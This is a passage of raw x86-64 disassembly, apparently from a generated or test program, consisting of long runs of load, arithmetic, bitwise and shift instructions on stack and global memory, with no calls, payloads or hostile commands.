mov byte [rsp + 0x1a5], al
mov eax, dword [rsp + 0x3ca4]
mov ecx, dword [0x140179004]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6d40]
mov dword [rcx], eax
lea rax, [rsp + 0x9550]
mov qword [rsp + 0x99d8], rax
mov rax, qword [rsp + 0x7420]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3d18]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3e94], eax
mov rax, qword [rsp + 0x7af8]
mov rcx, qword [rsp + 0x8e70]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7278], rax
mov rax, qword [rsp + 0x8170]
movzx eax, word [rax]
mov word [rsp + 0x114c], ax
mov rax, qword [rsp + 0x7d30]
movzx eax, byte [rax]
mov byte [0x14017a63a], al
movsx eax, word [rsp + 0xfe0]
mov rcx, qword [rsp + 0x93b8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xce0], ax
lea rax, [rsp + 0x90]
mov qword [rsp + 0x99e0], rax
mov rax, qword [rsp + 0x8d08]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x9b]
add eax, ecx
mov byte [rsp + 0x14a], al
movsx eax, word [rsp + 0xe34]
movsx ecx, word [rsp + 0xdb4]
sub eax, ecx
mov word [rsp + 0xcc8], ax
lea rax, [rsp + 0x4074]
mov qword [rsp + 0x99e8], rax
mov rax, qword [rsp + 0x7510]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x92c0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x6da8], rax
mov eax, dword [rsp + 0x4000]
mov dword [rsp + 0x4144], eax
mov rax, qword [rsp + 0x7eb8]
mov rcx, qword [0x140179010]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6fc8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7fb0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf30]
xor eax, ecx
mov word [0x140179120], ax
lea rax, [rsp + 0x84]
mov qword [rsp + 0x99f0], rax
movzx eax, byte [rsp + 0xbf]
mov rcx, qword [rsp + 0x7618]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x9390]
mov byte [rcx], al
movzx eax, byte [rsp + 0x47]
mov rcx, qword [rsp + 0x6fa0]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x15e], al
movzx eax, byte [0x14017a59a]
mov byte [rsp + 0x1a6], al
mov rax, qword [rsp + 0x93c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8728]
mov qword [rsp + 0x99f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x99f8]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x97a8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4034]
mov dword [rsp + 0x4148], eax
mov rax, qword [rsp + 0x98b0]
mov ecx, dword [rsp + 0x3ea0]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x7968]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8790]
mov rcx, qword [rsp + 0x7ff0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x7930], rax
lea rax, [rsp + 0xc3c]
mov qword [0x14017aaa0], rax
movzx eax, word [rsp + 0xf20]
mov word [rsp + 0x1150], ax
movsx eax, word [0x14017a758]
movsx ecx, word [rsp + 0xc94]
add eax, ecx
mov rcx, qword [rsp + 0x7000]
mov word [rcx], ax
mov rax, qword [rsp + 0x9510]
movzx eax, byte [rax]
mov byte [rsp + 0x1a7], al
mov rax, qword [rsp + 0x6f20]
movzx eax, byte [rax]
movzx ecx, byte [0x14017908b]
add eax, ecx
mov rcx, qword [rsp + 0x7948]
mov byte [rcx], al
mov rax, qword [rsp + 0x8618]
mov ecx, dword [rsp + 0x3e54]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4054], eax
lea rax, [rsp + 0x6a70]
mov qword [rsp + 0x9a00], rax
mov rax, qword [rsp + 0x8f28]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x96a0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8378], rax
mov eax, dword [rsp + 0x3cf4]
mov dword [rsp + 0x414c], eax
movzx eax, word [rsp + 0xefc]
movzx ecx, word [rsp + 0xe5c]
sub eax, ecx
mov rcx, qword [0x14017a8a0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6f28]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7248]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x10c8], ax
movzx eax, byte [rsp + 0x8e]
mov rcx, qword [rsp + 0x9018]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xe5], al
mov rax, qword [rsp + 0x8120]
movzx eax, byte [rax]
mov byte [rsp + 0x1a8], al
movsx eax, word [rsp + 0xfac]
mov rcx, qword [rsp + 0x9688]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x109c], ax
lea rax, [rsp + 0x9310]
mov qword [rsp + 0x9a08], rax
mov eax, dword [rsp + 0x3ecc]
mov rcx, qword [rsp + 0x74b0]
mov qword [rsp + 0x9a10], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9a10]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x413c], eax
mov rax, qword [rsp + 0x9600]
mov eax, dword [rax]
mov dword [rsp + 0x4150], eax
mov rax, qword [rsp + 0x7ee8]
mov rcx, qword [rsp + 0x7480]
mov qword [rsp + 0x9a18], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9a18]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x8098]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6f00]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8fa0]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [str.zb_tb], al
mov rax, qword [0x14017a7c8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9840]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x6bf0]
mov byte [rcx], al
lea rax, [rsp + 0xdf4]
mov qword [rsp + 0x9a20], rax
mov rax, qword [rsp + 0x94e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x10d8]
add eax, ecx
mov word [rsp + 0xedc], ax
lea rax, [rsp + 0x77]
mov qword [rsp + 0x9a28], rax
mov rax, qword [rsp + 0x8380]
mov rcx, qword [rsp + 0x9628]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3d54], eax
mov rax, qword [rsp + 0x90c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9928]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x8538], rax
mov rax, qword [rsp + 0x88e8]
mov qword [rsp + 0x9a30], rax
mov rax, qword [rsp + 0x8c30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c70]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x40c0], eax
mov rax, qword [rsp + 0x7438]
movsx eax, word [rax]
mov rcx, qword [0x14017a878]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x14017a848]
mov word [rcx], ax
lea rax, [rsp + 0x13f]
mov qword [rsp + 0x9a38], rax
mov rax, qword [rsp + 0x8190]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9450]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf4c], ax
mov rax, qword [rsp + 0x6ce8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9488]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6c90]
mov word [rcx], ax
lea rax, [rsp + 0x45]
mov qword [rsp + 0x9a40], rax
mov rax, qword [rsp + 0x7a00]
mov rcx, qword [rsp + 0x9998]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7318], rax
mov rax, qword [rsp + 0x7b90]
mov rax, qword [rax]
mov qword [rsp + 0x9a48], rax
mov eax, dword [rsp + 0x412c]
mov ecx, dword [rsp + 0x3bf8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3f98], eax
lea rax, [rsp + 0x3c4c]
mov qword [rsp + 0x9a50], rax
mov rax, qword [rsp + 0x86d8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x11b]
add eax, ecx
mov rcx, qword [0x14017a978]
mov byte [rcx], al
movzx eax, word [0x14017a708]
movzx ecx, word [rsp + 0x1110]
add eax, ecx
mov word [rsp + 0x108c], ax
movsx eax, byte [rsp + 0x12e]
movsx ecx, byte [rsp + 0x114]
shl eax, cl
mov rcx, qword [rsp + 0x8e08]
mov byte [rcx], al
mov rax, qword [0x14017a5d0]
movzx eax, word [rax]
mov word [rsp + 0x1154], ax
mov rax, qword [rsp + 0x9258]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9a38]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xe7], al
mov rax, qword [rsp + 0x8760]
mov eax, dword [rax]
mov dword [rsp + 0x4154], eax
mov rax, qword [rsp + 0x7f00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7a30]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8a90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8eb0]
mov rcx, qword [rsp + 0x7760]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x8178]
mov qword [rcx], rax
lea rax, [rsp + 0x3e9c]
mov qword [rsp + 0x9a58], rax
movzx eax, word [rsp + 0x107c]
mov rcx, qword [rsp + 0x7f20]
movzx ecx, word [rcx]
imul eax, ecx
mov word [0x140179140], ax
mov rax, qword [rsp + 0x7360]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x84e0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xdc4], ax
lea rax, [rsp + 0x85]
mov qword [rsp + 0x9a60], rax
mov rax, qword [rsp + 0x8510]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xec]
sub eax, ecx
mov rcx, qword [rsp + 0x92b8]
mov byte [rcx], al
mov rax, qword [rsp + 0x97b0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf88]
add eax, ecx
mov word [rsp + 0xc54], ax
lea rax, [rsp + 0x91a0]
mov qword [rsp + 0x9a68], rax
mov eax, dword [rsp + 0x3f4c]
mov ecx, dword [rsp + 0x3f8c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3db8], eax
lea rax, [rsp + 0x3d34]
mov qword [rsp + 0x9a70], rax
mov rax, qword [rsp + 0x7410]
mov rcx, qword [rsp + 0x8868]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7c80], rax
movsx eax, word [0x140179024]
movsx ecx, word [rsp + 0xfe8]
add eax, ecx
mov rcx, qword [rsp + 0x8ff8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x5d]
mov byte [0x14017a63b], al
movzx eax, word [rsp + 0xc1c]
mov word [rsp + 0x1158], ax
movzx eax, byte [rsp + 0x7e]
movzx ecx, byte [rsp + 0xcb]
sub eax, ecx
mov byte [rsp + 0x98], al
lea rax, [rsp + 0xa8]
mov qword [rsp + 0x9a78], rax
mov rax, qword [rsp + 0x70e0]
mov rcx, qword [rsp + 0x8520]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3cc4], eax
lea rax, [rsp + 0x3b2c]
mov qword [rsp + 0x9a80], rax
mov rax, qword [rsp + 0x9050]
mov rcx, qword [rsp + 0x8de8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9620], rax
mov rax, qword [rsp + 0x9780]
mov rcx, qword [rsp + 0x7d58]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x8a90]
mov qword [rcx], rax
movzx eax, word [rsp + 0xd60]
mov word [rsp + 0x115c], ax
movzx eax, byte [rsp + 0x78]
mov rcx, qword [rsp + 0x6a40]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [0x140179008], al
movzx eax, word [rsp + 0xfb8]
mov rcx, qword [rsp + 0x79a8]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x9348]
mov word [rcx], ax
mov rax, qword [rsp + 0x70d8]
movzx eax, word [rax]
mov word [rsp + 0x1160], ax
movzx eax, byte [rsp + 0xf9]
movzx ecx, byte [rsp + 0x102]
sar eax, cl
mov rcx, qword [rsp + 0x6bf0]
mov byte [rcx], al
mov rax, qword [rsp + 0x8a20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3de4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3cdc], eax
lea rax, [rsp + 0x8850]
mov qword [rsp + 0x9a88], rax
mov rax, qword [rsp + 0x93c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8bd0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7830], rax
lea rax, [rsp + 0x3b58]
mov qword [rsp + 0x9a90], rax
movsx eax, byte [rsp + 0xf0]
mov rcx, qword [0x14017a588]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9790]
mov byte [rcx], al
movzx eax, byte [rsp + 0x150]
movzx ecx, byte [rsp + 0x58]
sub eax, ecx
mov byte [0x14017906a], al
mov rax, qword [rsp + 0x75f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x7bc0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1130], ax
lea rax, [0x14017a558]
mov qword [rsp + 0x9a98], rax
movsx eax, byte [rsp + 0xec]
mov rcx, qword [rsp + 0x93a8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x46], al
lea rax, [rsp + 0x3f90]
mov qword [rsp + 0x9aa0], rax
mov rax, qword [rsp + 0x8060]
mov rax, qword [rax]
mov rcx, qword [0x140179010]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7a58], rax
mov rax, qword [rsp + 0x8c28]
mov rcx, qword [rsp + 0x6d70]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7a30], rax
mov eax, dword [rsp + 0x3ee0]
mov dword [rsp + 0x4158], eax
mov rax, qword [0x14017a9e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xe9c]
sub eax, ecx
mov rcx, qword [rsp + 0x8418]
mov word [rcx], ax
lea rax, [rsp + 0xe34]
mov qword [0x14017aaa8], rax
lea rax, [rsp + 0x84]
mov qword [rsp + 0x9aa8], rax
movzx eax, word [rsp + 0xf54]
mov rcx, qword [rsp + 0x82d0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9488]
mov word [rcx], ax
lea rax, [rsp + 0x199]
mov qword [rsp + 0x9ab0], rax
movsx eax, word [rsp + 0x1004]
mov rcx, qword [rsp + 0x8280]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xe80], ax
mov rax, qword [rsp + 0x8048]
mov rcx, qword [rsp + 0x6f08]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x3de0], eax
mov eax, dword [rsp + 0x3d80]
mov dword [rsp + 0x415c], eax
mov rax, qword [rsp + 0x8bf0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8a58]
mov qword [rsp + 0x9ab8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9ab8]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x7df0]
mov qword [rcx], rax
lea rax, [0x140179010]
mov qword [rsp + 0x9ac0], rax
lea rax, [rsp + 0x1104]
mov qword [0x14017aab0], rax
movsx eax, byte [rsp + 0x171]
movsx ecx, byte [rsp + 0xc4]
xor eax, ecx
mov rcx, qword [rsp + 0x6b60]
mov byte [rcx], al
movzx eax, byte [rsp + 0x13a]
mov rcx, qword [0x14017a660]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x12c], al
mov rax, qword [rsp + 0x9110]
movzx eax, byte [rax]
mov byte [rsp + 0x1a9], al
mov rax, qword [rsp + 0x7c38]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x5a]
add eax, ecx
mov byte [rsp + 0x119], al
lea rax, [rsp + 0x3c90]
mov qword [rsp + 0x9ac8], rax
mov rax, qword [rsp + 0x7d00]
mov rcx, qword [rsp + 0x96a0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x9758]
mov qword [rcx], rax
mov rax, qword [rsp + 0x88f8]
mov rcx, qword [rsp + 0x7df0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x6d20], rax
mov eax, dword [rsp + 0x3d6c]
mov dword [rsp + 0x4160], eax
movzx eax, word [0x14017a698]
movzx ecx, word [rsp + 0xe6c]
sub eax, ecx
mov rcx, qword [0x14017a8e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x7118]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7598]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7880]
mov byte [rcx], al
movzx eax, byte [rsp + 0x17b]
mov byte [rsp + 0x1aa], al
movsx eax, word [rsp + 0xd78]
movsx ecx, word [rsp + 0x1078]
and eax, ecx
mov word [rsp + 0xebc], ax
mov rax, qword [rsp + 0x8448]
movzx eax, word [rax]
mov word [rsp + 0x1164], ax
mov rax, qword [rsp + 0x73f8]
mov rcx, qword [rsp + 0x9810]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9548], rax
mov rax, qword [rsp + 0x7e10]
mov ecx, dword [rsp + 0x4018]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3ea8], eax
mov rax, qword [rsp + 0x7fa8]
mov qword [rsp + 0x9ad0], rax
mov rax, qword [rsp + 0x6e80]
mov rcx, qword [0x14017a4d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9a58]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7470]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7da0]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [0x14017a4d4], al
lea rax, [rsp + 0x1038]
mov qword [rsp + 0x9ad8], rax
mov rax, qword [rsp + 0x70f0]
movsx eax, word [rax]
movsx ecx, word [0x140179084]
xor eax, ecx
mov rcx, qword [rsp + 0x8d00]
mov word [rcx], ax
movzx eax, word [rsp + 0xfbc]
mov rcx, qword [rsp + 0x6e78]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xf2c], ax
movzx eax, byte [rsp + 0x176]
mov byte [rsp + 0x1ab], al
mov rax, qword [rsp + 0x7400]
movzx ecx, al
mov rax, qword [rsp + 0x7c00]
shl rax, cl
mov qword [rsp + 0x7fa0], rax
mov rax, qword [rsp + 0x9608]
mov rax, qword [rax]
mov qword [rsp + 0x9ae0], rax
mov rax, qword [rsp + 0x9288]
mov rcx, qword [rsp + 0x72d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x8048]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8100]
mov eax, dword [rax]
mov ecx, dword [section..data]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7828]
mov dword [rcx], eax
lea rax, [rsp + 0x1010]
mov qword [0x14017aab8], rax
mov rax, qword [rsp + 0x83d0]
movzx eax, word [rax]
mov word [rsp + 0x1168], ax
movzx eax, byte [rsp + 0xe4]
movzx ecx, byte [rsp + 0xf2]
sub eax, ecx
mov byte [rsp + 0x56], al
mov rax, qword [rsp + 0x8120]
movzx eax, byte [rax]
mov byte [rsp + 0x1ac], al
movzx eax, word [rsp + 0xd14]
mov rcx, qword [rsp + 0x9290]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xf48], ax
mov rax, qword [rsp + 0x8320]
mov rcx, qword [0x14017a4d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9080]
mov dword [rcx], eax
mov rax, qword [rsp + 0x99b0]
mov qword [rsp + 0x9ae8], rax
mov rax, qword [rsp + 0x8ab0]
mov rcx, qword [rsp + 0x7740]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8b90]
mov qword [rcx], rax
lea rax, [rsp + 0x411c]
mov qword [rsp + 0x9af0], rax
movzx eax, byte [0x140179097]
movzx ecx, byte [rsp + 0xff]
add eax, ecx
mov rcx, qword [0x14017a6a8]
mov byte [rcx], al
movsx eax, word [rsp + 0xe60]
mov rcx, qword [rsp + 0x8d68]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x7b80]
mov word [rcx], ax
movzx eax, byte [0x14017a4ff]
mov byte [rsp + 0x1ad], al
movzx eax, word [rsp + 0xc38]
mov rcx, qword [rsp + 0x77a8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xff0], ax
mov rax, qword [rsp + 0x69d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xfe0]
sar eax, cl
mov word [rsp + 0xd80], ax
mov rax, qword [rsp + 0x74d0]
mov qword [rsp + 0x9af8], rax
mov eax, dword [rsp + 0x3c18]
mov rcx, qword [rsp + 0x8348]
mov qword [rsp + 0x9b00], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9b00]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x3e84], eax
lea rax, [rsp + 0x6f40]
mov qword [rsp + 0x9b08], rax
mov rax, qword [rsp + 0x73b8]
mov ecx, dword [rsp + 0x3f9c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x3dc8], eax
mov rax, qword [rsp + 0x7c08]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xb7]
or eax, ecx
mov byte [0x14017909e], al
mov rax, qword [rsp + 0x74c8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8370]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x9960]
mov word [rcx], ax
lea rax, [rsp + 0x1ad]
mov qword [rsp + 0x9b10], rax
movsx eax, byte [rsp + 0x103]
movsx ecx, byte [rsp + 0x159]
and eax, ecx
mov rcx, qword [rsp + 0x77f0]
mov byte [rcx], al
lea rax, [rsp + 0x84]
mov qword [rsp + 0x9b18], rax
mov eax, dword [rsp + 0x3c70]
mov ecx, dword [section..data]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x3cac], eax
mov rax, qword [rsp + 0x8be0]
mov rcx, qword [rsp + 0x6ed0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7400], rax
lea rax, [rsp + 0x40cc]
mov qword [rsp + 0x9b20], rax
mov rax, qword [rsp + 0x98c0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7e98]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7020]
mov qword [rcx], rax
movsx eax, word [rsp + 0xf64]
mov rcx, qword [rsp + 0x7b00]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x140179064], ax
lea rax, [rsp + 0x15e]
mov qword [rsp + 0x9b28], rax
mov rax, qword [rsp + 0x71a0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9630]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7920]
mov byte [rcx], al
mov rax, qword [rsp + 0x98e8]
movzx eax, word [rax]
mov word [rsp + 0x116c], ax
mov rax, qword [rsp + 0x7f20]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x86c8]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9060]
mov word [rcx], ax
mov rax, qword [rsp + 0x79a0]
mov rcx, qword [rsp + 0x8480]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x9860]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3d44]
mov dword [rsp + 0x4164], eax
mov rax, qword [rsp + 0x8dc8]
mov rcx, qword [rsp + 0x9970]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x74e8], rax
mov rax, qword [rsp + 0x9a80]
mov eax, dword [rax]
mov dword [rsp + 0x4168], eax
movsx eax, word [rsp + 0x103c]
mov rcx, qword [rsp + 0x7c98]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x81a8]
mov word [rcx], ax
mov rax, qword [rsp + 0x6c28]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7928]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [0x14017909f], al
mov rax, qword [rsp + 0x96f0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x95]
xor eax, ecx
mov rcx, qword [rsp + 0x9a28]
mov byte [rcx], al
lea rax, [rsp + 0xc7c]
mov qword [rsp + 0x9b30], rax
mov rax, qword [rsp + 0x7dc8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7d80]
movzx ecx, byte [rcx]
sar eax, cl
mov rcx, qword [rsp + 0x7cf0]
mov byte [rcx], al
mov eax, dword [rsp + 0x3d80]
mov dword [rsp + 0x416c], eax
mov rax, qword [rsp + 0x94a8]
mov rcx, qword [rsp + 0x93e8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x6c10]
mov qword [rcx], rax
mov eax, dword [0x140179004]
mov ecx, dword [rsp + 0x3f94]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x3ee0], eax
mov rax, qword [rsp + 0x8658]
mov qword [rsp + 0x9b38], rax
movsx eax, word [rsp + 0xc18]
movsx ecx, word [rsp + 0x1128]
and eax, ecx
mov rcx, qword [rsp + 0x79f8]
mov word [rcx], ax
movzx eax, word [0x140179090]
mov rcx, qword [rsp + 0x6b30]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14017a8bc], ax
movzx eax, word [rsp + 0xf48]
mov word [rsp + 0x1170], ax
mov rax, qword [rsp + 0x72a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe2]
sub eax, ecx
mov byte [rsp + 0x194], al
movsx eax, word [rsp + 0xda8]
movsx ecx, word [rsp + 0xe8c]
add eax, ecx
mov rcx, qword [rsp + 0x9910]
mov word [rcx], ax
lea rax, [rsp + 0x40ac]
mov qword [rsp + 0x9b40], rax
mov rax, qword [rsp + 0x97e8]
mov rcx, qword [rsp + 0x8d38]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7720], rax
lea rax, [rsp + 0x3e10]
mov qword [rsp + 0x9b48], rax
mov rax, qword [rsp + 0x86a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x76f0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x8ad8], rax
movzx eax, byte [rsp + 0x1ac]
mov byte [rsp + 0x1ae], al
lea rax, [rsp + 0x16f]
mov qword [0x14017aac0], rax
mov rax, qword [rsp + 0x9320]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8e98]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8640]
mov byte [rcx], al
movsx eax, word [rsp + 0xd28]
mov rcx, qword [rsp + 0x7490]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xd2c], ax
mov rax, qword [rsp + 0x8120]
movzx eax, byte [rax]
mov byte [rsp + 0x1af], al
mov rax, qword [rsp + 0x8348]
mov ecx, dword [rsp + 0x40f4]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x9730]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7ad0]
mov rax, qword [rax]
mov qword [rsp + 0x9b50], rax
mov rax, qword [rsp + 0x85f8]
mov ecx, dword [rsp + 0x3fbc]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x3d00], eax
mov rax, qword [rsp + 0x8cd8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7d38]
mov qword [rsp + 0x9b58], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9b58]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x8e88]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9420]
movzx eax, word [rax]
mov word [rsp + 0x1174], ax
mov rax, qword [rsp + 0x7000]
movsx eax, word [rax]
movsx ecx, word [0x140179098]
shl eax, cl
mov word [0x14017a580], ax
movzx eax, byte [rsp + 0x10b]
movzx ecx, byte [rsp + 0xe6]
or eax, ecx
mov byte [rsp + 0x108], al
mov rax, qword [rsp + 0x8c00]
movzx eax, byte [rax]
mov byte [rsp + 0x1b0], al
mov rax, qword [rsp + 0x74c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1104]
and eax, ecx
mov word [rsp + 0x1028], ax
mov rax, qword [rsp + 0x92f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6d]
add eax, ecx
mov rcx, qword [rsp + 0x8f88]
mov byte [rcx], al
lea rax, [rsp + 0x9328]
mov qword [rsp + 0x9b60], rax
mov rax, qword [rsp + 0x6c80]
mov ecx, dword [section..data]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6c68]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7430]
mov qword [rsp + 0x9b68], rax
mov rax, qword [rsp + 0x73a8]
mov ecx, dword [rsp + 0x3e40]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x7808]
mov dword [rcx], eax
lea rax, [rsp + 0x1ac]
mov qword [0x14017aac8], rax
movzx eax, word [rsp + 0xfc4]
mov rcx, qword [rsp + 0x7e80]
movzx ecx, word [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x8548]
mov word [rcx], ax
